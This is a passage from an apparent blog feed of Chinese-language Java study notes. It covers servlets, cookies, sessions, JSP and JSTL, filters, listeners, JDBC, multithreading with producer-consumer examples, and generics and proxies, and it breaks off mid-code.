    &lt;url-pattern&gt;/cookie&lt;/url-pattern&gt;
  &lt;/servlet-mapping&gt;
&lt;/web-app&gt;
</code></pre>
<ul>
<li>code</li>
</ul>
<pre><code class="language-java line-numbers">public class CookieServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        //解决乱码

        req.setCharacterEncoding ("UTF-8");
        resp.setCharacterEncoding ("UTF-8");
        PrintWriter out = resp.getWriter ();
        Cookie[] cookies = req.getCookies ();

        if(cookies!=null){
            out.write ("你上一次的时间是");
            for (int i = 0; i &lt; cookies.length; i++) {
                Cookie cookie = cookies[i];
                if(cookie.getName ().equals ("lastlogintime")){
                    long logintime = Long.parseLong (cookie.getValue ());
                    Date date = new Date (logintime);
                    out.write (date.toLocaleString ());
                }
            }
        }else {
            out.write ("这是你第一次访问本站点");
        }
        Cookie cookie = new Cookie ("lastlogintime",System.currentTimeMillis ()+"");
        cookie.setMaxAge (***);
        resp.addCookie (cookie);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}
</code></pre>
<ul>
<li>运行测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20201001155826.png" alt="" /></p>
<h3>Session</h3>
<ul>
<li>设置，读取，删除</li>
</ul>
<pre><code class="language-java line-numbers">protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        //获取Sesseion对象
        HttpSession session=request.getSession();
        session.setAttribute("username", "zhangsan");//存储数据
        session.getAttribute("username");//获取数据
        session.removeAttribute("username");//删除数据
    }
</code></pre>
<ul>
<li>Session的销毁</li>
</ul>
<pre><code class="line-numbers">session.invalidate()
</code></pre>
<h2>JSP</h2>
<ul>
<li>jsp原理</li>
</ul>
<p><strong>内置对象</strong></p>
<pre><code class="language-java line-numbers">final javax.servlet.jsp.PageContext pageContext; 页面上下文
javax.servlet.http.HttpSession session1 = null; session
final javax.servlet.ServletContext application; applicationContext
final javax.servlet.ServletConfig config; config
javax.servlet.jsp.JspWriter out = null; out 
final java.lang.Object page = this; page 当前
HttpServletRequest request  请求
HttpServletResponse response 响应
</code></pre>
<ul>
<li>maven依赖</li>
</ul>
<p><strong>JSTL表达式依赖</strong></p>
<pre><code class="language-java line-numbers">&lt;dependency&gt;
    &lt;groupId&gt;javax.servlet.jsp.jstl&lt;/groupId&gt;
    &lt;artifactId&gt;jstl-api&lt;/artifactId&gt;
    &lt;version&gt;1.2&lt;/version&gt;
&lt;/dependency&gt;
</code></pre>
<p><strong>standard标签库</strong></p>
<pre data-language=XML><code class="language-markup line-numbers">&lt;dependency&gt;
    &lt;groupId&gt;taglibs&lt;/groupId&gt;
    &lt;artifactId&gt;standard&lt;/artifactId&gt;
    &lt;version&gt;1.1.2&lt;/version&gt;
&lt;/dependency&gt;
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20201002165412.png" alt="" /></p>
<h3>JSP基础语法和指令</h3>
<ul>
<li>Tomcat热部署</li>
</ul>
<pre><code class="line-numbers">https://blog.csdn.net/jc0803kevin/article/details/88579109
</code></pre>
<ul>
<li>Jsp表达式</li>
</ul>
<pre><code class="line-numbers">&lt;%--jsp表达式，用来将程序的输出，输出到客户端--%&gt;
&lt;%--&lt;%= 变量或表达式%&gt;--%&gt;
&lt;%= new java.util.Date()%&gt;
</code></pre>
<ul>
<li>jsp脚本片段</li>
</ul>
<pre><code class="language-java line-numbers">&lt;%

    int sum = 0;
    for (int i = 0; i &lt; 100; i++) {
        sum+=1;
    }

    out.println ("&lt;h1&gt;sum="+sum+"&lt;/h1&gt;");
%&gt;
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20201002175313.png" alt="" /></p>
<ul>
<li>jso声明</li>
</ul>
<pre><code class="language-java line-numbers">&lt;%!

    static {
        System.out.println ("Loading Servlet");
    }

    private int globalVar = 0;

    public void test(){
        System.out.println ("进入了方法test");
    }
%&gt;
</code></pre>
<p><strong>jsp声明会被编译到JSP生成的java的类中，其他的会被生成到_jspServlet方法中</strong></p>
<h3>JSP指令</h3>
<ul>
<li>定制错误页面</li>
</ul>
<p><strong><%@page args...%></strong></p>
<pre><code class="line-numbers">&lt;%@page errorPage="err/err.html" %&gt;
</code></pre>
<ul>
<li>文件包含</li>
</ul>
<pre><code class="language-java line-numbers">&lt;%@include file="index.jsp"%&gt;
&lt;jsp:include page="index.jsp"&gt;
</code></pre>
<h3>JSP内置对象及作用域</h3>
<ul>
<li>9大内置对象</li>
</ul>
<pre><code class="line-numbers">PageContext  存东西
Request  存东西
Response
Session
Application  [ServletContext] 存东西
config  [ServletConfig]
out
page
exception
</code></pre>
<ul>
<li>code</li>
</ul>
<pre><code class="language-java line-numbers"> pageContext.setAttribute("name1","syst1m1");  //一个页面中有效
 request.setAttribute("name2","syst1m2"); //一个请求中有效
 session.setAttribute("name3"."syst1m3"); //一个会话中有效
 application.setAttribute("name4"."syst1m4"); //保存的数据在服务器中中有效
</code></pre>
<ul>
<li>通过寻找的方式获取</li>
</ul>
<pre><code class="line-numbers">pageContext.findAttribute();
</code></pre>
<ul>
<li>重定向</li>
</ul>
<pre><code class="line-numbers">pageContext.forward()
</code></pre>
<h3>Jsp、JSTL标签、EL表达式</h3>
<h4>EL表达式</h4>
<ul>
<li>el表达式 ${}</li>
</ul>
<p><strong>获取数据</strong></p>
<pre><code class="line-numbers">${标识符}
</code></pre>
<p><strong>执行运算</strong><br />
<strong>获取web开发的常用对象</strong></p>
<h4>jsp标签</h4>
<pre><code class="language-java line-numbers">&lt;jsp:forward page="test.jsp"&gt;
    &lt;jsp:param name="paramtest" value="test"/&gt;
&lt;/jsp:forward&gt;
</code></pre>
<h4>JSTL表达式</h4>
<h5>核心标签</h5>
<ul>
<li>引入JSTL核心标签库</li>
</ul>
<pre><code class="line-numbers">&lt;%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %&gt;
</code></pre>
<ul>
<li>set标签：将值保存在指定的作用域中</li>
</ul>
<pre><code class="language-java line-numbers">&lt;%-- var="变量名"  value="值" scope="保存在哪个作用域（page、request、session、application）"--%&gt;
&lt;c:set var="userName" value="yzq" scope="page"&gt;&lt;/c:set&gt;
&lt;span&gt;${userName}&lt;/span&gt;&lt;%--配合EL表达式取值--%&gt;
</code></pre>
<ul>
<li>out标签：将结果输出</li>
</ul>
<pre><code class="language-java line-numbers">&lt;%--取值--%&gt;
&lt;c:out value="${userName}"&gt;&lt;/c:out&gt;
</code></pre>
<ul>
<li>if标签：判断</li>
</ul>
<pre><code class="language-java line-numbers">&lt;c:if test="${age&gt;20}"&gt;

    &lt;span&gt;奔三的人了&lt;/span&gt;

&lt;/c:if&gt;
</code></pre>
<ul>
<li>choose：选择，跟java中的switch语句类似</li>
</ul>
<pre><code class="language-java line-numbers">&lt;c:set var="age" scope="page" value="40"&gt;&lt;/c:set&gt;
&lt;c:choose&gt;

    &lt;%--符合该条件时执行--%&gt;
    &lt;c:when test="${age&gt;20&amp;&amp;age&lt;30}"&gt;
        &lt;span&gt;奔三的人了&lt;/span&gt;
    &lt;/c:when&gt;

    &lt;%--符合该条件时执行--%&gt;
    &lt;c:when test="${age&lt;20}"&gt;
        &lt;span&gt;还是小鲜肉&lt;/span&gt;

    &lt;/c:when&gt;

    &lt;%--之前条件都不满足时，执行这个--%&gt;
    &lt;c:otherwise&gt;

        &lt;span&gt;可以考虑养生了&lt;/span&gt;

    &lt;/c:otherwise&gt;
&lt;/c:choose&gt;
</code></pre>
<ul>
<li>forEach标签：用于迭代集合</li>
</ul>
<pre><code class="language-java line-numbers">&lt;%--迭代标签 用于迭代集合--%&gt;
&lt;c:forEach items="${users}" var="user"&gt;

    &lt;span&gt;${user.name}&lt;/span&gt;:&lt;span&gt;${user.age}&lt;/span&gt;
    &lt;br&gt;

&lt;/c:forEach&gt;
</code></pre>
<h3>JavaBean</h3>
<p><strong>一般用来与数据库的字段做映射</strong></p>
<h4>code</h4>
<ul>
<li>javabean.java</li>
</ul>
<pre><code class="language-java line-numbers">package com.bean.pojo;

public class People {

    private int id;
    private String name;
    private int age;
    private String address;

    public People() {
    }

    public People(int id, String name, int age, String address) {
        this.id = id;
        this.name = name;
        this.age = age;
        this.address = address;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getAddress() {
        return address;
    }

    public void setAddress(String address) {
        this.address = address;
    }

    @Override
    public String toString() {
        return "People{" +
                "id=" + id +
                ", name='" + name + ''' +
                ", age=" + age +
                ", address='" + address + ''' +
                '}';
    }
}
</code></pre>
<ul>
<li>javabean.jsp</li>
</ul>
<pre><code class="language-java line-numbers">&lt;jsp:useBean id="people" class="com.javabean.pojo.People" scope="page"/&gt;
&lt;jsp:setProperty name="people" property="address" value="北京"&gt;&lt;/jsp:setProperty&gt;
&lt;jsp:getProperty name="people" property="address"/&gt;
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20201009164549.png" alt="" /></p>
<h3>过滤器Filter</h3>
<ul>
<li>编写Servlet</li>
</ul>
<pre><code class="language-java line-numbers">public class helloservlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
         resp.getWriter ().write ("你好呀，世界");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}
</code></pre>
<ul>
<li>编写Filter</li>
</ul>
<pre><code class="language-java line-numbers">public class encodeing implements Filter {
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        servletRequest.setCharacterEncoding ("utf-8");
        servletResponse.setCharacterEncoding ("utf-8");
        servletResponse.setContentType ("text/html;charset=UTF-8");
        System.out.println ("过滤器执行前");
        filterChain.doFilter (servletRequest,servletResponse);
        System.out.println ("过滤器执行后");
    }

    public void destroy() {

    }
}
</code></pre>
<ul>
<li>注册Filter</li>
</ul>
<pre data-language=XML><code class="language-markup line-numbers">&lt;filter&gt;
    &lt;filter-name&gt;encode&lt;/filter-name&gt;
    &lt;filter-class&gt;encodeing&lt;/filter-class&gt;
  &lt;/filter&gt;
  &lt;filter-mapping&gt;
    &lt;filter-name&gt;encode&lt;/filter-name&gt;
    &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
  &lt;/filter-mapping&gt;
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20201010210744.png" alt="" /></p>
<h3>监听器</h3>
<h4>统计在线人数Demo</h4>
<ul>
<li>index.jsp</li>
</ul>
<pre><code class="language-java line-numbers">&lt;html&gt;
&lt;body&gt;
&lt;h2&gt;Hello World!&lt;/h2&gt;


&lt;h1&gt;当前有&lt;span&gt;&lt;%=this.getServletConfig().getServletContext().getAttribute("OnlineCount")%&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<ul>
<li>OnlineCount</li>
</ul>
<pre><code class="language-java line-numbers">@Override
    public void sessionCreated(HttpSessionEvent httpSessionEvent) {
        ServletContext ctx = httpSessionEvent.getSession ().getServletContext ();
        Integer onlineCount = (Integer)ctx.getAttribute ("OnlineCount");

        if(onlineCount==null){
            onlineCount=new Integer (1);
        }else {
            int count= onlineCount.intValue ();
            onlineCount = new Integer (count+1);
        }
        ctx.setAttribute ("OnlineCount",onlineCount);
    }

    //销毁session监听
    @Override
    public void sessionDestroyed(HttpSessionEvent httpSessionEvent) {
        ServletContext ctx = httpSessionEvent.getSession ().getServletContext ();
        Integer onlineCount = (Integer)ctx.getAttribute ("OnlineCount");

        if(onlineCount==null){
            onlineCount=new Integer (0);
        }else {
            int count= onlineCount.intValue ();
            onlineCount = new Integer (count-1);
            httpSessionEvent.getSession ().invalidate ();
        }
        ctx.setAttribute ("OnlineCount",onlineCount);
    }

</code></pre>
<ul>
<li>注册监听器</li>
</ul>
<pre data-language=XML><code class="language-markup line-numbers">&lt;listener&gt;
    &lt;listener-class&gt;OnlineCount&lt;/listener-class&gt;
&lt;/listener&gt;
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20201011114449.png" alt="" /></p>
<h2>JDBC(Java fatabase connect)</h2>
<h3>JDBC</h3>
<pre><code class="language-java line-numbers">package com.jdbc4;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.SQLException;
import java.sql.Timestamp;
import java.util.Date;

public class TestUpdate {

  /**
   * @param args
   */
  public static void main(String[] args) {
    Connection conn=null;
    try {
      Class.forName("com.mysql.jdbc.Driver");
      //建立连接  ctrl+shfit +o
      conn=DriverManager.getConnection("jdbc:mysql://localhost/test?useUnicode=true&amp;characterEncoding=utf-8", "root", "19810109");
      String sql="update book set title=?,price=?,birth=?,publish_date=?,update_date=? where id=?";
      //预编译
      PreparedStatement pstmt=conn.prepareStatement(sql);
      pstmt.setString(1, "四集");
      pstmt.setFloat(2, 50.55f);
      pstmt.setDate(3, new java.sql.Date(new Date().getTime()));
      pstmt.setTimestamp(4, new Timestamp(new Date().getTime()));
      pstmt.setTimestamp(5, new Timestamp(new Date().getTime()));
      pstmt.setInt(6, 1);

      //执行
      pstmt.executeUpdate();
    } catch (Exception e) {
      e.printStackTrace();
    }
    finally
    {
      try {
        conn.close();
      } catch (SQLException e) {
        e.printStackTrace();
      }
    }
  }

}

</code></pre>
<h3>JDBC事务</h3>
<pre><code class="language-java line-numbers">connection.setAutoCommit(false) 开启事务
</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Java学习入门之多线程</title>
		<link>/code/1962.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Sun, 11 Oct 2020 07:30:13 +0000</pubDate>
				<category><![CDATA[编程学习]]></category>
		<guid isPermaLink="false">/?p=1962</guid>

					<description><![CDATA[Java多线程 继承Thread类 public class Threadtest extends Thread { /** * * 多线程学习 * **/ @Override p...]]></description>
										<content:encoded><![CDATA[<h1>Java多线程</h1>
<ul>
<li>继承Thread类</li>
</ul>
<pre><code class="language-java line-numbers">public class Threadtest extends Thread {

    /**
     *
     * 多线程学习
     * **/
    @Override
    public void run(){
        for (int i = 0; i &lt; 2000; i++) {
            System.out.println("我在看代码--");
        }
    }
    public static void main(String[] args) {

        Threadtest test = new Threadtest();

        test.start();
        for (int i = 0; i &lt; 2000; i++) {
            System.out.println("我在学习多线程--");
        }
    }
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200907110727.png" alt="" /></p>
<ul>
<li>实现Runnable接口</li>
</ul>
<pre><code class="language-java line-numbers">public class Threadtest implements Runnable {

    /**
     *
     * 多线程学习
     * **/
    @Override
    public void run(){
        for (int i = 0; i &lt; 2000; i++) {
            System.out.println("我在看代码--");
        }
    }
    public static void main(String[] args) {

        Threadtest test = new Threadtest();

        new Thread(test).start();

        for (int i = 0; i &lt; 2000; i++) {
            System.out.println("我在学习多线程--");
        }
    }


}

</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200907113426.png" alt="" /></p>
<ul>
<li>龟兔赛跑</li>
</ul>
<pre><code class="language-java line-numbers">public class Threadtest implements Runnable {

    /**
     *
     * 龟兔赛跑
     * **/

    private static String winner;

    @Override
    public void run(){
        for (int i = 0; i &lt;= 100; i++) {
            if(Thread.currentThread().getName().equals("兔子")&amp;&amp; 1%10 ==0){
                try{
                    Thread.sleep(10);
                }catch (InterruptedException e){
                    e.printStackTrace();
                }
            }

            boolean flag = gameover(i);

            if ((flag)) {
                break;
            }

            System.out.println(Thread.currentThread().getName()+"跑了"+i+"步");
        }
    }

    private boolean gameover(int steps){
        if(winner!=null){
            return true;
        }{
            if(steps&gt;=100){
                winner = Thread.currentThread().getName();
                System.out.println("winner is"+winner);
            }
        }

        return false;
    }
    public static void main(String[] args) {

        Threadtest test = new Threadtest();
        new Thread(test,"兔子").start();
        new Thread(test,"乌龟").start();
    }


}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200907160554.png" alt="" /></p>
<ul>
<li>线程停止（建议使用标志位）</li>
</ul>
<pre><code class="language-java line-numbers">public class Threadtest implements Runnable {

    /**
     *
     * 龟兔赛跑
     * **/

    private boolean flag = true;

    @Override
    public void run(){
        int i =0;
        while (flag){
            System.out.println("run...Thread"+i++);
        }
    }

    public void stop(){
        this.flag = false;
    }


    public static void main(String[] args) {
        Threadtest test = new Threadtest();
        new Thread(test).start();

        for (int i = 0; i &lt; 1000; i++) {
            System.out.println("main"+i);

            if(i==900) {
                test.stop();
                System.out.println("子线程停止");
            }
        }
    }

}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200907171634.png" alt="" /></p>
<ul>
<li>线程休眠</li>
</ul>
<pre><code class="language-java line-numbers">Thread.sleep(1000)
</code></pre>
<ul>
<li>线程礼让（yield）</li>
</ul>
<pre><code class="language-java line-numbers">public class Threadtest implements Runnable {


    private boolean flag = true;

    @Override
    public void run(){
        System.out.println(Thread.currentThread().getName()+"线程开始执行");
        Thread.yield();
        System.out.println(Thread.currentThread().getName()+"线程停止执行");
    }

    public static void main(String[] args) {
        Threadtest test = new Threadtest();

        new Thread(test,"a").start();
        new Thread(test,"b").start();
    }

}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200907174748.png" alt="" /></p>
<ul>
<li>线程强制执行(join)</li>
</ul>
<pre><code class="language-java line-numbers">public class Threadtest implements Runnable {


    @Override
    public void run(){
        for (int i = 0; i &lt; 1000; i++) {
            System.out.println("线程vipl来了"+i);
        }
    }

    public static void main(String[] args) throws InterruptedException{

        Threadtest test = new Threadtest();
        Thread thread = new Thread(test);
        thread.start();

        for (int q = 0; q &lt; 500; q++) {
            if(q==200){
                thread.join();
            }
            System.out.println("main"+q);
        }
    }

}

</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200907191302.png" alt="" /></p>
<ul>
<li>线程优先级</li>
</ul>
<p><strong>优先级只是意味着获得调度的概率低，并不是优先级低就不会被调用，顺序也是概率高，顺序可能也是不同的，全看CPU的调度</strong></p>
<pre><code class="language-java line-numbers">public class Threadtest {


    public static void main(String[] args) throws InterruptedException{

        //主线程默认优先级
        System.out.println(Thread.currentThread().getName()+"----&gt;"+Thread.currentThread().getPriority());

        MyPriority MyPriority = new MyPriority();

        Thread t1= new Thread(MyPriority);
        Thread t2= new Thread(MyPriority);
        Thread t3= new Thread(MyPriority);

        //设置优先级

        t1.start();
        t2.setPriority(6);
        t2.start();
        t3.setPriority(Thread.MAX_PRIORITY);
        t3.start();
    }

}

class MyPriority implements Runnable{

    @Override
    public void run(){
        System.out.println(Thread.currentThread().getName()+"----&gt;"+Thread.currentThread().getPriority());
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200907194216.png" alt="" /></p>
<ul>
<li>守护线程</li>
</ul>
<pre><code class="language-java line-numbers">public class TestDaemon {

    /**
     * 测试守护线程
     * **/

    public static void main(String[] args) throws InterruptedException{

        god god = new god();
        Y4er Y4er = new Y4er();

         Thread thread = new Thread(god);
        thread.setDaemon(true);
        thread.start();

        new Thread(Y4er).start();

    }

}


class god implements Runnable{

    @Override
    public void run(){
        while (true){
            System.out.println("上帝保佑着你");
        }
    }
}
class Y4er implements Runnable{

    @Override
    public void run(){
        for (int i = 0; i &lt; 36500; i++) {
            System.out.println("开心的活着");
        }

        System.out.println("Googbyg world");
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200907195704.png" alt="" /></p>
<ul>
<li>线程同步</li>
</ul>
<p><strong>锁机制</strong></p>
<pre><code class="line-numbers">synchronized(放置于资源竞争处)
</code></pre>
<p><strong>同步方法</strong></p>
<pre><code class="line-numbers">private synchronized void buy(){xx}
</code></pre>
<p><strong>同步块</strong></p>
<pre><code class="language-java line-numbers">synchronized(Obj){}
</code></pre>
<ul>
<li>死锁</li>
</ul>
<pre><code class="language-java line-numbers">public class DeadLock {

    public static void main(String[] args) {

        Makeup g1= new Makeup(0,"灰姑娘");
        Makeup g2= new Makeup(1,"白雪公主");
        g1.start();
        g2.start();
    }
}

//口红
class LipStick{}

//镜子

class Mirror{}

class Makeup extends Thread{

    static LipStick lipStick = new LipStick();
    static Mirror mirror = new Mirror();

    int choice;
    String girlName;

    Makeup(int choice,String girlName){
        this.choice = choice;
        this.girlName = girlName;
    }

    @Override
    public void run() {
        try {
            makeup();
        }catch (InterruptedException e){
            e.printStackTrace();
        }
    }

    private void makeup() throws InterruptedException{
        if(choice==0){
            synchronized (lipStick){
                System.out.println(this.girlName+"获得口红的🔒");
                Thread.sleep(1000);
                synchronized(mirror){
                    System.out.println(this.girlName+"获得镜子的🔒");
                }

            }
        }else {
            synchronized (mirror){
                System.out.println(this.girlName+"获得口红的🔒");
                Thread.sleep(1000);
                synchronized(lipStick){
                    System.out.println(this.girlName+"获得镜子的🔒");
                }

            }
        }
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200908104512.png" alt="" /></p>
<ul>
<li>Lock锁</li>
</ul>
<pre><code class="language-java line-numbers">import java.util.concurrent.locks.ReentrantLock;

public class TestLock {

    public static void main(String[] args) {
        TestLock2 test = new TestLock2();
        new Thread(test).start();
        new Thread(test).start();
        new Thread(test).start();

    }
}


class TestLock2 implements Runnable{


    int ticketNums = 10;

    private final ReentrantLock lock = new ReentrantLock();

    @Override
    public void run() {
        while(true){
            try{
                lock.lock();

                if(ticketNums&gt;0){
                    try{
                        Thread.sleep(1000);
                    }catch (InterruptedException e){
                        e.printStackTrace();
                    }
                    System.out.println(ticketNums--);
                }else {
                    break;
                }
            }finally {
                lock.unlock();
            }
        }
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200908113804.png" alt="" /></p>
<h2>线程协作（生产者与消费者问题）</h2>
<p><img src="/wp-content/uploads/2020/10/20200908114642.png" alt="" /></p>
<h3>管程法</h3>
<pre><code class="language-java line-numbers">/**
 *
 *测试生产者消费者模型-》利用缓冲区解决：管程法
**/

//生产者，消费者，产品，缓冲区
public class TestPC {

    public static void main(String[] args) {
        SynContainer container = new SynContainer();

        new Productor(container).start();
        new Consumer(container).start();
    }
}


//生产者

class Productor extends Thread{

    SynContainer container;
    public Productor(SynContainer container){
        this.container = container;
    }

    //生产


    @Override
    public void run() {
        for (int i = 0; i &lt; 100; i++) {
            System.out.println("生产了"+i+"只鸡");
            container.push(new Chicken(i));
        }
    }
}


//消费者
class Consumer extends Thread{
    SynContainer container;

    public Consumer(SynContainer container){
        this.container = container;
    }

    //消费


    @Override
    public void run() {
        for (int i = 0; i &lt; 100; i++) {
            System.out.println("消费了第"+container.pop().id+"只鸡");
        }
    }
}

//产品

class Chicken{
    int id; //产品编号

    public Chicken(int id) {
        this.id = id;
    }
}

//缓冲区

class SynContainer{

    //需要一个容器大小

    Chicken[] chickens = new Chicken[10];

    //容器计数器

    int count = 0;
    //生产者放入产品

    public synchronized void push(Chicken chicken){

        //如果容器满了，就需要等待消费者消费
        if(count==chickens.length){
            //通知消费者消费，生产等待

            try{
                this.wait();
            }catch (InterruptedException e ){
                e.printStackTrace();
            }
        }
        //荣国没有满，就需要丢入产品
        chickens[count]=chicken;
        count++;

        //可以通知消费者消费了

        this.notifyAll();
    }

    //消费者消费产品

    public synchronized Chicken pop(){
        //判断能否消费

        if(count==0){
            //等待生产者生产，消费者等待
            try{
                this.wait();
            }catch (InterruptedException e){
                e.printStackTrace();
            }

        }

        //如果可以消费
        count--;
        Chicken chicken = chickens[count];

        //吃完了，通知生产者生产
        this.notifyAll();
        return chicken;
    }

}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200908123759.png" alt="" /></p>
<h3>信号灯法(设置标志位)</h3>
<pre><code class="language-java line-numbers">public class TestPc2 {

    public static void main(String[] args) {

        TV tv = new TV();

        new Player(tv).start();
        new Watcher(tv).start();
    }
}


//生产者-〉演员

class Player extends Thread{
    TV tv;
    public Player(TV tv){
        this.tv = tv;
    }

    @Override
    public void run() {
        for (int i = 0; i &lt; 20; i++) {
            if(i%2==0){
                this.tv.play("快乐大本营");
            }else {
                this.tv.play("抖音，记录美好生活");

            }        }
    }
}

//消费者-〉观看

class Watcher extends Thread{
    TV tv;
    public Watcher(TV tv){
        this.tv = tv;
    }

    @Override
    public void run() {
        for (int i = 0; i &lt; 20; i++) {
            tv.watch();
        }
    }
}

//产品-&gt;节目

class TV{
    //演员表演，观众等待
    //观众观看，演员等待

    String voice;
    boolean flag = true;

    //表演

    public synchronized void play(String voice){

        if(!flag){
            try{
                this.wait();
            }catch (InterruptedException e){
                e.printStackTrace();

            }
        }        System.out.println("演员表演了:"+voice);

        this.notifyAll();
        this.voice = voice;
        this.flag = !this.flag;
    }

    //观看


    public synchronized void watch(){

        if(flag){
            try{
                this.wait();
            }catch (InterruptedException e){
                e.printStackTrace();
            }
        }

        System.out.println("观看了"+voice);

        //通知演员表演

        this.notifyAll();
        this.flag = !this.flag;

    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200908131618.png" alt="" /></p>
<h2>线程池</h2>
<pre><code class="language-java line-numbers">import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

/**
 * 测试线程池
 * **/
public class TestPool {
    public static void main(String[] args) {
        ExecutorService service = Executors.newFixedThreadPool(10);

        service.execute(new MyThread());
        service.execute(new MyThread());
        service.execute(new MyThread());
        service.execute(new MyThread());

    }

}


class MyThread implements Runnable{

    @Override
    public void run() {
        for (int i = 0; i &lt; 100; i++) {
            System.out.println(Thread.currentThread().getName()+i);
        }
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200908133136.png" alt="" /></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Java学习入门之JavaSe泛型、代理、注解与反射</title>
		<link>/code/1940.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Sun, 11 Oct 2020 07:26:27 +0000</pubDate>
				<category><![CDATA[编程学习]]></category>
		<guid isPermaLink="false">/?p=1940</guid>

					<description><![CDATA[泛型 泛型，参数化类型，分为泛型类、接口、方法 泛型类 class 类名称 &#60;泛型标识&#62; { private 泛型标识 var; ... } 泛型接口 public c...]]></description>
										<content:encoded><![CDATA[<h2>泛型</h2>
<ul>
<li>泛型，参数化类型，分为泛型类、接口、方法</li>
</ul>
<h3>泛型类</h3>
<pre><code class="line-numbers">class 类名称 &lt;泛型标识&gt; {
    private 泛型标识 var;
    ...
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200829221407.png" alt="" /></p>
<h3>泛型接口</h3>
<pre><code class="line-numbers">public class chabug {
    public static void main(String[] args) {
        new testa().next();
    }

}

interface test&lt;T&gt;{
    public T next();
}

class testa implements test&lt;String&gt;{
    private String[] b  = new String[]{"a","b","c","d"};
    @Override
    public String next(){
        Random rand = new Random();
        System.out.println(b[rand.nextInt(3)]);
        return null;
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200829222427.png" alt="" /></p>
<h3>泛型方法</h3>
<pre><code class="line-numbers">public class chabug {
    public static void main(String[] args) {
        out("28");
        out("永远滴神");
    }

    public static &lt;T&gt; void out(T t) {
        System.out.println(t);
    }
}

</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200830124017.png" alt="" /></p>
<h3>泛型通配符</h3>
<pre><code class="line-numbers">public void showKeyValue1(Generic&lt;?&gt; obj){
    Log.d("泛型测试","key value is " + obj.getKey());
}
</code></pre>
<h3>泛型上下边界</h3>
<ul>
<li>在使用泛型的时候，我们还可以为传入的泛型类型实参进行上下边界的限制，如：类型实参只准传入某种类型的父类或某种类型的子类。为泛型添加上边界，即传入的类型实参必须是指定类型的子类型,泛型的上下边界添加，必须与泛型的声明在一起.</p>
</li>
<li>
<p>常规例子（会提示类型无法转换）</p>
</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200829231117.png" alt="" /></p>
<ul>
<li>使用上下边界</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200829231228.png" alt="" /></p>
<ul>
<li>疑惑</li>
</ul>
<pre><code class="line-numbers">GenericHolder&lt;Fruit&gt; fruitHolder = new GenericHolder&lt;Fruit&gt;()
</code></pre>
<p>为何意思</p>
<p>解决：</p>
<pre><code class="line-numbers">Fruit fruit = new Fruit("水果");
fruitHolder.setObj(fruit)
</code></pre>
<p><strong>先实例化再传入对象，参考如下：</strong></p>
<p><a class="wp-editor-md-post-content-link" href="https://www.imooc.com/article/26009">Java泛型再探——泛型通配符及上下边界</a></p>
<h3>泛型数组</h3>
<ul>
<li>不可以</li>
</ul>
<pre><code class="line-numbers">List&lt;String&gt;[] ls = new ArrayList&lt;String&gt;[10];  
</code></pre>
<ul>
<li>可以</li>
</ul>
<pre><code class="line-numbers">List&lt;?&gt;[] ls = new ArrayList&lt;?&gt;[10]; 
List&lt;String&gt;[] ls = new ArrayList[10];
</code></pre>
<h2>代理</h2>
<p><img src="/wp-content/uploads/2020/10/20200830162847.png" alt="" /></p>
<h3>静态代理</h3>
<p>抽象角色：一般会使用接口或抽象类来解决<br />
真实角色：被代理的角色<br />
代理角色：代理真实角色后，我们一般会做一些附属操作<br />
客户：访问代理对象的人</p>
<ul>
<li>抽象角色</li>
</ul>
<pre><code class="line-numbers">//接口——》租房
public interface Rent {

    public void rent();
}
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200830165257.png" alt="" /></p>
<ul>
<li>真实角色</li>
</ul>
<pre><code class="line-numbers">//真实角色-&gt;房东
public class Host implements Rent{
    @Override
    public void rent(){
